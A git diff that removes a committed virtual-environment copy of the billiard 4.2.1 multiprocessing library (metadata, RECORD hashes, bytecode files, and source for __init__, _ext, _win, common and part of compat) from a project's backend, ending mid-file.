-Author: R Oudkerk / Python Software Foundation -Author-email: python-dev@python.org -Maintainer: Asif Saif Uddin -Maintainer-email: auvipy@gmail.com -License: BSD -Keywords: multiprocessing pool process -Classifier: Development Status :: 5 - Production/Stable -Classifier: Intended Audience :: Developers -Classifier: Programming Language :: Python -Classifier: Programming Language :: C -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.8 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: Implementation :: CPython -Classifier: Programming Language :: Python :: Implementation :: PyPy -Classifier: Operating System :: Microsoft :: Windows -Classifier: Operating System :: POSIX -Classifier: License :: OSI Approved :: BSD License -Classifier: Topic :: Software Development :: Libraries :: Python Modules -Classifier: Topic :: System :: Distributed Computing -Requires-Python: >=3.7 -License-File: LICENSE.txt - -======== -billiard -======== -:version: 4.2.1 - -|build-status-lin| |build-status-win| |license| |wheel| |pyversion| |pyimp| - -.. |build-status-lin| image:: https://github.com/celery/billiard/actions/workflows/ci.yaml/badge.svg - :alt: Build status on Linux - :target: https://github.com/celery/billiard/actions/workflows/ci.yaml - -.. |build-status-win| image:: https://ci.appveyor.com/api/projects/status/github/celery/billiard?png=true&branch=main - :alt: Build status on Windows - :target: https://ci.appveyor.com/project/ask/billiard - -.. |license| image:: https://img.shields.io/pypi/l/billiard.svg - :alt: BSD License - :target: https://opensource.org/licenses/BSD-3-Clause - -.. |wheel| image:: https://img.shields.io/pypi/wheel/billiard.svg - :alt: Billiard can be installed via wheel - :target: https://pypi.org/project/billiard/ - -.. |pyversion| image:: https://img.shields.io/pypi/pyversions/billiard.svg - :alt: Supported Python versions. - :target: https://pypi.org/project/billiard/ - -.. |pyimp| image:: https://img.shields.io/pypi/implementation/billiard.svg - :alt: Support Python implementations. - :target: https://pypi.org/project/billiard/ - -About ------ - -``billiard`` is a fork of the Python 2.7 `multiprocessing `_ -package. The multiprocessing package itself is a renamed and updated version of -R Oudkerk's `pyprocessing `_ package. -This standalone variant draws its fixes/improvements from python-trunk and provides -additional bug fixes and improvements. - -- This package would not be possible if not for the contributions of not only - the current maintainers but all of the contributors to the original pyprocessing - package listed `here `_. - -- Also, it is a fork of the multiprocessing backport package by Christian Heims. - -- It includes the no-execv patch contributed by R. Oudkerk. - -- And the Pool improvements previously located in `Celery`_. - -- Billiard is used in and is a dependency for `Celery`_ and is maintained by the - Celery team. - -.. _`Celery`: http://celeryproject.org - -Documentation -------------- - -The documentation for ``billiard`` is available on `Read the Docs `_. - -Bug reporting -------------- - -Please report bugs related to multiprocessing at the -`Python bug tracker `_. Issues related to billiard -should be reported at https://github.com/celery/billiard/issues. - -billiard is part of the Tidelift Subscription ---------------------------------------------- - -The maintainers of ``billiard`` and thousands of other packages are working -with Tidelift to deliver commercial support and maintenance for the open source -dependencies you use to build your applications. Save time, reduce risk, and -improve code health, while paying the maintainers of the exact dependencies you -use. `Learn more`_. - -.. _`Learn more`: https://tidelift.com/subscription/pkg/pypi-billiard?utm_source=pypi-billiard&utm_medium=referral&utm_campaign=readme&utm_term=repo diff --git a/backend/venv/Lib/site-packages/billiard-4.2.1.dist-info/RECORD b/backend/venv/Lib/site-packages/billiard-4.2.1.dist-info/RECORD deleted file mode 100644 index 1e4cbc73..00000000 --- a/backend/venv/Lib/site-packages/billiard-4.2.1.dist-info/RECORD +++ /dev/null @@ -1,62 +0,0 @@ -billiard-4.2.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -billiard-4.2.1.dist-info/LICENSE.txt,sha256=ZjLlmsq9u77CYoN9RHJKBlMYlJ8ALv0GAtZCcRrjpFc,1483 -billiard-4.2.1.dist-info/METADATA,sha256=NLhyCCM8l1VWAnk8oSpjKKVuq0ph72Tob59qnnSAtBw,4399 -billiard-4.2.1.dist-info/RECORD,, -billiard-4.2.1.dist-info/WHEEL,sha256=GV9aMThwP_4oNCtvEC2ec3qUYutgWeAzklro_0m4WJQ,91 -billiard-4.2.1.dist-info/top_level.txt,sha256=52Kkdlqn9Np8pbpkTVd_1KZTZLGjupUzhUw8QsW-B-U,9 -billiard/__init__.py,sha256=cxyyWtPGySDSI1IXzksZwyhAouMv-ILv_MIv9BtXi3w,1557 -billiard/__pycache__/__init__.cpython-311.pyc,, -billiard/__pycache__/_ext.cpython-311.pyc,, -billiard/__pycache__/_win.cpython-311.pyc,, -billiard/__pycache__/common.cpython-311.pyc,, -billiard/__pycache__/compat.cpython-311.pyc,, -billiard/__pycache__/connection.cpython-311.pyc,, -billiard/__pycache__/context.cpython-311.pyc,, -billiard/__pycache__/einfo.cpython-311.pyc,, -billiard/__pycache__/exceptions.cpython-311.pyc,, -billiard/__pycache__/forkserver.cpython-311.pyc,, -billiard/__pycache__/heap.cpython-311.pyc,, -billiard/__pycache__/managers.cpython-311.pyc,, -billiard/__pycache__/pool.cpython-311.pyc,, -billiard/__pycache__/popen_fork.cpython-311.pyc,, -billiard/__pycache__/popen_forkserver.cpython-311.pyc,, -billiard/__pycache__/popen_spawn_posix.cpython-311.pyc,, -billiard/__pycache__/popen_spawn_win32.cpython-311.pyc,, -billiard/__pycache__/process.cpython-311.pyc,, -billiard/__pycache__/queues.cpython-311.pyc,, -billiard/__pycache__/reduction.cpython-311.pyc,, -billiard/__pycache__/resource_sharer.cpython-311.pyc,, -billiard/__pycache__/semaphore_tracker.cpython-311.pyc,, -billiard/__pycache__/sharedctypes.cpython-311.pyc,, -billiard/__pycache__/spawn.cpython-311.pyc,, -billiard/__pycache__/synchronize.cpython-311.pyc,, -billiard/__pycache__/util.cpython-311.pyc,, -billiard/_ext.py,sha256=ybsKrDCncAVFL8ml4nMNKbvb2no5sap3qHc6_cwUxqE,872 -billiard/_win.py,sha256=vILzfaBKGhhNjePPfRTdRrVoIygnXyUGtJ4FmBFU4Gw,2919 -billiard/common.py,sha256=ZA5J7PLCNnIcdj1mqkqb9ows4khKKgjY1I59GeiattI,4140 -billiard/compat.py,sha256=Q30pRcJmFdwHDNuJJsB8xmXJfuv_RGT8zuY0PHGB9L0,8148 -billiard/connection.py,sha256=DdrB0iAM0zZtjKmr51hv9t4YjsWHafZ5FCbOKs8mkIw,32647 -billiard/context.py,sha256=QfLpnJwJblvUP_BPRDrbBx9DgKBvH5ZHDDkYr2anw1E,13154 -billiard/dummy/__init__.py,sha256=MGuxw6dYyU-TokOw2mEizwefj-FxjDwq5tEshuSJ5ng,4633 -billiard/dummy/__pycache__/__init__.cpython-311.pyc,, -billiard/dummy/__pycache__/connection.cpython-311.pyc,, -billiard/dummy/connection.py,sha256=UYjJH4smDsj7X0W4uJxvg97z2TxILDL2x5GER4vv4Mw,2907 -billiard/einfo.py,sha256=UeytGoRdbPZFuNojB-1goYMsuOEKF2GIxQkc6UkjriM,5064 -billiard/exceptions.py,sha256=xymsevvXvB5SO-ebmaHBqQPEJfl6EqThM1PlLtGFk3U,1272 -billiard/forkserver.py,sha256=SPfs8T2uaPtfK_F1ADVNNPZGSUrjeadTf5h6gwKOiPc,8282 -billiard/heap.py,sha256=YQoNKIELwpQhq7U7XTRKAD5-JVGKgye08O8vbQRdATw,9154 -billiard/managers.py,sha256=yxeuqrtauo173KJy6SuK3EAfRmSWejBqEi-oJ57ZokI,36757 -billiard/pool.py,sha256=JZsbr-DRsdKdg-5k7Iym_UP4OaubRB7NSbhNMGaT3og,68829 -billiard/popen_fork.py,sha256=Kt3n8oEE3J8qb9N28orS7o28Y5bZmBbVe9uU37y-GxQ,2552 -billiard/popen_forkserver.py,sha256=BLLO5B0P9GQj3i2r-16ulKcRMLy3HYNvw8I129ZcNas,1770 -billiard/popen_spawn_posix.py,sha256=cnRYqmztgDv2pURFQl1PzgOzR1ThxuUJeG3ksCy7SCQ,1922 -billiard/popen_spawn_win32.py,sha256=1FH4HYC9ilmkzSEfGqyf6g39qv-zc6cPuM8Z56H51ww,3543 -billiard/process.py,sha256=FQliOzUtgKWcNG-Yd9lcS9ypv8BtkcH6IM9isfOjVRc,11055 -billiard/queues.py,sha256=b8Ykkvg9B3c5jhXzImcERxCc-bLfDBtFO8u3Y480l08,12739 -billiard/reduction.py,sha256=pVr81gei43nJNhfdSuTDevwmZsiY3LXFTZ-G_uGN5Ts,9382 -billiard/resource_sharer.py,sha256=AKGDzC6ScuX8GdPk9RFEH8MP578_yiJ5Hvy6KTwSIfI,5299 -billiard/semaphore_tracker.py,sha256=72OU2cxJzc3vDamj1oVI5HL8sWRsRfMCWBxQKUP1c2Y,4846 -billiard/sharedctypes.py,sha256=6w59LGEa5PAcufoC4DUUq6TjtyR7cqZz9xmBc9GrLZg,6665 -billiard/spawn.py,sha256=JNdBCCGkQx4wVeTgyiZWMMV-3goL_qJBwtdkkpF5uZ8,11740 -billiard/synchronize.py,sha256=hmQisAgIePaxIpYR2_4D7Nfa9-EurXpeViT5nyKue0I,12962 -billiard/util.py,sha256=qi-kNunMbngYnBpYiFD8MD_pptMxFQhsObGMHbD33b8,6259 diff --git a/backend/venv/Lib/site-packages/billiard-4.2.1.dist-info/WHEEL b/backend/venv/Lib/site-packages/billiard-4.2.1.dist-info/WHEEL deleted file mode 100644 index dcfdc6e3..00000000 --- a/backend/venv/Lib/site-packages/billiard-4.2.1.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (75.1.0) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/backend/venv/Lib/site-packages/billiard-4.2.1.dist-info/top_level.txt b/backend/venv/Lib/site-packages/billiard-4.2.1.dist-info/top_level.txt deleted file mode 100644 index 7ac9b310..00000000 --- a/backend/venv/Lib/site-packages/billiard-4.2.1.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -billiard diff --git a/backend/venv/Lib/site-packages/billiard/__init__.py b/backend/venv/Lib/site-packages/billiard/__init__.py deleted file mode 100644 index 67428857..00000000 --- a/backend/venv/Lib/site-packages/billiard/__init__.py +++ /dev/null @@ -1,61 +0,0 @@ -"""Python multiprocessing fork with improvements and bugfixes""" -# -# Package analogous to 'threading.py' but using processes -# -# multiprocessing/__init__.py -# -# This package is intended to duplicate the functionality (and much of -# the API) of threading.py but uses processes instead of threads. A -# subpackage 'multiprocessing.dummy' has the same API but is a simple -# wrapper for 'threading'. -# -# Try calling `multiprocessing.doc.main()` to read the html -# documentation in a webbrowser. -# -# -# Copyright (c) 2006-2008, R Oudkerk -# Licensed to PSF under a Contributor Agreement. -# - - -import sys - -from . import context - -VERSION = (4, 2, 1) -__version__ = '.'.join(map(str, VERSION[0:4])) + "".join(VERSION[4:]) -__author__ = 'R Oudkerk / Python Software Foundation' -__author_email__ = 'python-dev@python.org' -__maintainer__ = 'Asif Saif Uddin' -__contact__ = "auvipy@gmail.com" -__homepage__ = "https://github.com/celery/billiard" -__docformat__ = "restructuredtext" - -# -eof meta- - -# -# Copy stuff from default context -# - -globals().update((name, getattr(context._default_context, name)) - for name in context._default_context.__all__) -__all__ = context._default_context.__all__ - -# -# XXX These should not really be documented or public. -# - -SUBDEBUG = 5 -SUBWARNING = 25 - -# -# Alias for main module -- will be reset by bootstrapping child processes -# - -if '__main__' in sys.modules: - sys.modules['__mp_main__'] = sys.modules['__main__'] - - -def ensure_multiprocessing(): - from ._ext import ensure_multiprocessing - return ensure_multiprocessing() diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index c5f98b15..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/_ext.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/_ext.cpython-311.pyc deleted file mode 100644 index 2fd3413e..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/_ext.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/_win.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/_win.cpython-311.pyc deleted file mode 100644 index 2c79452f..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/_win.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/common.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/common.cpython-311.pyc deleted file mode 100644 index cc2c6e75..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/common.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/compat.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/compat.cpython-311.pyc deleted file mode 100644 index f3d3db00..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/compat.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/connection.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/connection.cpython-311.pyc deleted file mode 100644 index 381e71ac..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/connection.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/context.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/context.cpython-311.pyc deleted file mode 100644 index de59d72b..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/context.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/einfo.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/einfo.cpython-311.pyc deleted file mode 100644 index 3a037340..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/einfo.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/exceptions.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/exceptions.cpython-311.pyc deleted file mode 100644 index 46bc0123..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/exceptions.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/forkserver.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/forkserver.cpython-311.pyc deleted file mode 100644 index fdd4c113..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/forkserver.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/heap.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/heap.cpython-311.pyc deleted file mode 100644 index 13c5e3f8..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/heap.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/managers.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/managers.cpython-311.pyc deleted file mode 100644 index 9ee15d41..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/managers.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/pool.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/pool.cpython-311.pyc deleted file mode 100644 index ae4c3b4d..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/pool.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/popen_fork.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/popen_fork.cpython-311.pyc deleted file mode 100644 index db6e15a9..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/popen_fork.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/popen_forkserver.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/popen_forkserver.cpython-311.pyc deleted file mode 100644 index 142957f6..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/popen_forkserver.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/popen_spawn_posix.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/popen_spawn_posix.cpython-311.pyc deleted file mode 100644 index be68f99e..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/popen_spawn_posix.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/popen_spawn_win32.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/popen_spawn_win32.cpython-311.pyc deleted file mode 100644 index 71cd8249..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/popen_spawn_win32.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/process.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/process.cpython-311.pyc deleted file mode 100644 index 876c9bd0..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/process.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/queues.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/queues.cpython-311.pyc deleted file mode 100644 index 82f1f459..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/queues.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/reduction.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/reduction.cpython-311.pyc deleted file mode 100644 index bae492d1..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/reduction.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/resource_sharer.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/resource_sharer.cpython-311.pyc deleted file mode 100644 index 5fd7c23e..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/resource_sharer.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/semaphore_tracker.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/semaphore_tracker.cpython-311.pyc deleted file mode 100644 index 21a6468d..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/semaphore_tracker.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/sharedctypes.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/sharedctypes.cpython-311.pyc deleted file mode 100644 index c16d591b..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/sharedctypes.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/spawn.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/spawn.cpython-311.pyc deleted file mode 100644 index 461cb6ea..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/spawn.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/synchronize.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/synchronize.cpython-311.pyc deleted file mode 100644 index da5fc16d..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/synchronize.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/__pycache__/util.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/__pycache__/util.cpython-311.pyc deleted file mode 100644 index abe678e5..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/__pycache__/util.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/_ext.py b/backend/venv/Lib/site-packages/billiard/_ext.py deleted file mode 100644 index 00a53cda..00000000 --- a/backend/venv/Lib/site-packages/billiard/_ext.py +++ /dev/null @@ -1,32 +0,0 @@ -import sys - -supports_exec = True - -from .compat import _winapi as win32 # noqa - -if sys.platform.startswith("java"): - _billiard = None -else: - try: - import _billiard # noqa - except ImportError: - import _multiprocessing as _billiard # noqa - supports_exec = False - - -def ensure_multiprocessing(): - if _billiard is None: - raise NotImplementedError("multiprocessing not supported") - - -def ensure_SemLock(): - try: - from _billiard import SemLock # noqa - except ImportError: - try: - from _multiprocessing import SemLock # noqa - except ImportError: - raise ImportError("""\ -This platform lacks a functioning sem_open implementation, therefore, -the required synchronization primitives needed will not function, -see issue 3770.""") diff --git a/backend/venv/Lib/site-packages/billiard/_win.py b/backend/venv/Lib/site-packages/billiard/_win.py deleted file mode 100644 index 1dcba646..00000000 --- a/backend/venv/Lib/site-packages/billiard/_win.py +++ /dev/null @@ -1,114 +0,0 @@ -""" - billiard._win - ~~~~~~~~~~~~~ - - Windows utilities to terminate process groups. - -""" - -import os - -# psutil is painfully slow in win32. So to avoid adding big -# dependencies like pywin32 a ctypes based solution is preferred - -# Code based on the winappdbg project http://winappdbg.sourceforge.net/ -# (BSD License) -from ctypes import ( - byref, sizeof, windll, - Structure, WinError, POINTER, - c_size_t, c_char, c_void_p, -) -from ctypes.wintypes import DWORD, LONG - -ERROR_NO_MORE_FILES = 18 -INVALID_HANDLE_VALUE = c_void_p(-1).value - - -class PROCESSENTRY32(Structure): - _fields_ = [ - ('dwSize', DWORD), - ('cntUsage', DWORD), - ('th32ProcessID', DWORD), - ('th32DefaultHeapID', c_size_t), - ('th32ModuleID', DWORD), - ('cntThreads', DWORD), - ('th32ParentProcessID', DWORD), - ('pcPriClassBase', LONG), - ('dwFlags', DWORD), - ('szExeFile', c_char * 260), - ] -LPPROCESSENTRY32 = POINTER(PROCESSENTRY32) - - -def CreateToolhelp32Snapshot(dwFlags=2, th32ProcessID=0): - hSnapshot = windll.kernel32.CreateToolhelp32Snapshot(dwFlags, - th32ProcessID) - if hSnapshot == INVALID_HANDLE_VALUE: - raise WinError() - return hSnapshot - - -def Process32First(hSnapshot, pe=None): - return _Process32n(windll.kernel32.Process32First, hSnapshot, pe) - - -def Process32Next(hSnapshot, pe=None): - return _Process32n(windll.kernel32.Process32Next, hSnapshot, pe) - - -def _Process32n(fun, hSnapshot, pe=None): - if pe is None: - pe = PROCESSENTRY32() - pe.dwSize = sizeof(PROCESSENTRY32) - success = fun(hSnapshot, byref(pe)) - if not success: - if windll.kernel32.GetLastError() == ERROR_NO_MORE_FILES: - return - raise WinError() - return pe - - -def get_all_processes_pids(): - """Return a dictionary with all processes pids as keys and their - parents as value. Ignore processes with no parents. - """ - h = CreateToolhelp32Snapshot() - parents = {} - pe = Process32First(h) - while pe: - if pe.th32ParentProcessID: - parents[pe.th32ProcessID] = pe.th32ParentProcessID - pe = Process32Next(h, pe) - - return parents - - -def get_processtree_pids(pid, include_parent=True): - """Return a list with all the pids of a process tree""" - parents = get_all_processes_pids() - all_pids = list(parents.keys()) - pids = {pid} - while 1: - pids_new = pids.copy() - - for _pid in all_pids: - if parents[_pid] in pids: - pids_new.add(_pid) - - if pids_new == pids: - break - - pids = pids_new.copy() - - if not include_parent: - pids.remove(pid) - - return list(pids) - - -def kill_processtree(pid, signum): - """Kill a process and all its descendants""" - family_pids = get_processtree_pids(pid) - - for _pid in family_pids: - os.kill(_pid, signum) diff --git a/backend/venv/Lib/site-packages/billiard/common.py b/backend/venv/Lib/site-packages/billiard/common.py deleted file mode 100644 index eda0ffb2..00000000 --- a/backend/venv/Lib/site-packages/billiard/common.py +++ /dev/null @@ -1,156 +0,0 @@ -""" -This module contains utilities added by billiard, to keep -"non-core" functionality out of ``.util``.""" - -import os -import signal -import sys - -import pickle - -from .exceptions import RestartFreqExceeded -from time import monotonic - -pickle_load = pickle.load -pickle_loads = pickle.loads - -# cPickle.loads does not support buffer() objects, -# but we can just create a StringIO and use load. -from io import BytesIO - - -SIGMAP = dict( - (getattr(signal, n), n) for n in dir(signal) if n.startswith('SIG') -) -for _alias_sig in ('SIGHUP', 'SIGABRT'): - try: - # Alias for deprecated signal overwrites the name we want - SIGMAP[getattr(signal, _alias_sig)] = _alias_sig - except AttributeError: - pass - - -TERM_SIGNAL, TERM_SIGNAME = signal.SIGTERM, 'SIGTERM' -REMAP_SIGTERM = os.environ.get('REMAP_SIGTERM') -if REMAP_SIGTERM: - TERM_SIGNAL, TERM_SIGNAME = ( - getattr(signal, REMAP_SIGTERM), REMAP_SIGTERM) - - -TERMSIGS_IGNORE = {'SIGTERM'} if REMAP_SIGTERM else set() -TERMSIGS_FORCE = {'SIGQUIT'} if REMAP_SIGTERM else set() - -EX_SOFTWARE = 70 - -TERMSIGS_DEFAULT = { - 'SIGHUP', - 'SIGQUIT', - TERM_SIGNAME, - 'SIGUSR1', -} - -TERMSIGS_FULL = { - 'SIGHUP', - 'SIGQUIT', - 'SIGTRAP', - 'SIGABRT', - 'SIGEMT', - 'SIGSYS', - 'SIGPIPE', - 'SIGALRM', - TERM_SIGNAME, - 'SIGXCPU', - 'SIGXFSZ', - 'SIGVTALRM', - 'SIGPROF', - 'SIGUSR1', - 'SIGUSR2', -} - -#: set by signal handlers just before calling exit. -#: if this is true after the sighandler returns it means that something -#: went wrong while terminating the process, and :func:`os._exit` -#: must be called ASAP. -_should_have_exited = [False] - - -def human_status(status): - if (status or 0) < 0: - try: - return 'signal {0} ({1})'.format(-status, SIGMAP[-status]) - except KeyError: - return 'signal {0}'.format(-status) - return 'exitcode {0}'.format(status) - - -def pickle_loads(s, load=pickle_load): - # used to support buffer objects - return load(BytesIO(s)) - - -def maybe_setsignal(signum, handler): - try: - signal.signal(signum, handler) - except (OSError, AttributeError, ValueError, RuntimeError): - pass - - -def _shutdown_cleanup(signum, frame): - # we will exit here so if the signal is received a second time - # we can be sure that something is very wrong and we may be in - # a crashing loop. - if _should_have_exited[0]: - os._exit(EX_SOFTWARE) - maybe_setsignal(signum, signal.SIG_DFL) - _should_have_exited[0] = True - sys.exit(-(256 - signum)) - - -def signum(sig): - return getattr(signal, sig, None) - - -def _should_override_term_signal(sig, current): - return ( - sig in TERMSIGS_FORCE or - (current is not None and current != signal.SIG_IGN) - ) - - -def reset_signals(handler=_shutdown_cleanup, full=False): - for sig in TERMSIGS_FULL if full else TERMSIGS_DEFAULT: - num = signum(sig) - if num: - if _should_override_term_signal(sig, signal.getsignal(num)): - maybe_setsignal(num, handler) - for sig in TERMSIGS_IGNORE: - num = signum(sig) - if num: - maybe_setsignal(num, signal.SIG_IGN) - - -class restart_state: - RestartFreqExceeded = RestartFreqExceeded - - def __init__(self, maxR, maxT): - self.maxR, self.maxT = maxR, maxT - self.R, self.T = 0, None - - def step(self, now=None): - now = monotonic() if now is None else now - R = self.R - if self.T and now - self.T >= self.maxT: - # maxT passed, reset counter and time passed. - self.T, self.R = now, 0 - elif self.maxR and self.R >= self.maxR: - # verify that R has a value as the result handler - # resets this when a job is accepted. If a job is accepted - # the startup probably went fine (startup restart burst - # protection) - if self.R: # pragma: no cover - self.R = 0 # reset in case someone catches the error - raise self.RestartFreqExceeded("%r in %rs" % (R, self.maxT)) - # first run sets T - if self.T is None: - self.T = now - self.R += 1 diff --git a/backend/venv/Lib/site-packages/billiard/compat.py b/backend/venv/Lib/site-packages/billiard/compat.py deleted file mode 100644 index bea97467..00000000 --- a/backend/venv/Lib/site-packages/billiard/compat.py +++ /dev/null @@ -1,279 +0,0 @@ -import errno -import numbers -import os -import subprocess -import sys - -from itertools import zip_longest - -if sys.platform == 'win32': - try: - import _winapi # noqa - except ImportError: # pragma: no cover - from _multiprocessing import win32 as _winapi # noqa -else: - _winapi = None # noqa - -try: - import resource -except ImportError: # pragma: no cover - resource = None - -from io import UnsupportedOperation -FILENO_ERRORS = (AttributeError, ValueError, UnsupportedOperation) - - -if hasattr(os, 'write'): - __write__ = os.write - - def send_offset(fd, buf, offset): - return __write__(fd, buf[offset:]) - -else: # non-posix platform - - def send_offset(fd, buf, offset): # noqa - raise NotImplementedError('send_offset') - - -try: - fsencode = os.fsencode - fsdecode = os.fsdecode -except AttributeError: - def _fscodec(): - encoding = sys.getfilesystemencoding() - if encoding == 'mbcs': - errors = 'strict' - else: - errors = 'surrogateescape' - - def fsencode(filename): - """ - Encode filename to the filesystem encoding with 'surrogateescape' - error handler, return bytes unchanged. On Windows, use 'strict' - error handler if the file system encoding is 'mbcs' (which is the - default encoding). - """ - if isinstance(filename, bytes): - return filename - elif isinstance(filename, str): - return filename.encode(encoding, errors) - else: - raise TypeError("expect bytes or str, not %s" - % type(filename).__name__) - - def fsdecode(filename): - """ - Decode filename from the filesystem encoding with 'surrogateescape' - error handler, return str unchanged. On Windows, use 'strict' error - handler if the file system encoding is 'mbcs' (which is the default - encoding). - """ - if isinstance(filename, str): - return filename - elif isinstance(filename, bytes): - return filename.decode(encoding, errors) - else: - raise TypeError("expect bytes or str, not %s" - % type(filename).__name__) - - return fsencode, fsdecode - - fsencode, fsdecode = _fscodec() - del _fscodec - - -def maybe_fileno(f): - """Get object fileno, or :const:`None` if not defined.""" - if isinstance(f, numbers.Integral): - return f - try: - return f.fileno() - except FILENO_ERRORS: - pass - - -def get_fdmax(default=None): - """Return the maximum number of open file descriptors - on this system. - - :keyword default: Value returned if there's no file - descriptor limit. - - """ - try: - return os.sysconf('SC_OPEN_MAX') - except: - pass - if resource is None: # Windows - return default - fdmax = resource.getrlimit(resource.RLIMIT_NOFILE)[1] - if fdmax == resource.RLIM_INFINITY: - return default - return fdmax - - -def uniq(it): - """Return all unique elements in ``it``, preserving order.""" - seen = set() - return (seen.add(obj) or obj for obj in it if obj not in seen) - - -try: - closerange = os.closerange -except AttributeError: - - def closerange(fd_low, fd_high): # noqa - for fd in reversed(range(fd_low, fd_high)): - try: - 